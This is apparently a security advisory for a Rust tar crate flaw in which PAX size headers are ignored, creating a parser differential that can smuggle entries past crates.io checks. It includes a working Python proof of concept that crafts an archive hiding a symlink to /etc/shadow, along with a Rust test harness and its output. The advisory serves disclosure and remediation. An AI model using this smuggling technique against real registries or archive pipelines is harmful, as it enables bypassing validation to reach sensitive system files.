GHSA-gchp-q4r4-x4ff CVE-2026-33055 RUSTSEC-2026-0068
tar-rs incorrectly ignores PAX size headers if header size is nonzero
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.41%
- Chance of exploitation in the next 30 days. Higher than 35.52% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
- Fix
0.4.45- Upgrade tar to this version or later
Description
Summary
As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.
However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.
The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.
In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.
Details
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
PoC
(originally posted by https://github.com/xokdvium)
I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:
It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
#!/usr/bin/env python3
B = 512
def pad(d):
r = len(d) % B
return d + b"\0" * (B - r) if r else d
def hdr(name, size, typ=b"0", link=b""):
h = bytearray(B)
h[0 : len(name)] = name
h[100:107] = b"0000644"
h[108:115] = h[116:123] = b"0001000"
h[124:135] = f"{size:011o}".encode()
h[136:147] = b"00000000000"
h[148:156] = b" "
h[156:157] = typ
if link:
h[157 : 157 + len(link)] = link
h[257:263] = b"ustar\x00"
h[263:265] = b"00"
h[148:155] = f"{sum(h):06o}\x00".encode()
return bytes(h)
INFLATED = 2048
pax_rec = b"13 size=2048\n"
ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)
content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)
ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2
used = len(ar) - mark
if used < INFLATED:
ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2
open("smuggle.tar", "wb").write(bytes(ar))
tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).
use std::fs;
use std::path::PathBuf;
fn sync_parse(data: &[u8]) {
println!("tar:");
let mut ar = tar::Archive::new(data);
for e in ar.entries().unwrap() {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
async fn async_parse(data: Vec<u8>) {
println!("astral-tokio-tar:");
let mut ar = tokio_tar::Archive::new(data.as_slice());
let mut entries = ar.entries().unwrap();
while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
#[tokio::main]
async fn main() {
let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
let data = fs::read(&path).unwrap();
sync_parse(&data);
async_parse(data).await;
}
tar:
regular.txt Regular
smuggled Symlink -> /etc/shadow
astral-tokio-tar:
regular.txt Regular
Impact
This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.
Affected versions
crates.io
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
tar crates.io → 0.4.45
- cargo
cargo update -p tar --precise 0.4.45
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Active
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-3pv8-6f4r-ffg2 tar has a PAX header desynchronization issue | Medium | Also affects tar |
| GHSA-j4xf-2g29-59ph tar-rs `unpack_in` can chmod arbitrary directories by following symlinks | Medium | Also affects tar |
| GHSA-62jx-8vmh-4mcw Links in archive can create arbitrary directories | High | Also affects tar |
| GHSA-2367-c296-3mp2 Arbitrary file overwrite in tar-rs | High | Also affects tar |
| GHSA-9pvw-hwfg-92h5 Wasmtime: Panic lowering a host-created component model stream into a guest that expects a different payload type | Medium | Same weakness, CWE-843 |
| GHSA-897f-g5gm-fmxm Wasmtime: Bit-packing in Cranelift compiler causes silent overflow and miscompilation | Critical | Same weakness, CWE-843 |
| GHSA-8r5x-fm3f-whwj Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937) | Critical | Same weakness, CWE-843 |
| GHSA-r9w8-h9r3-54w4 devalue: Custom ArrayBuffer revivers can bypass typed-array allocation validation | High | Same weakness, CWE-843 |
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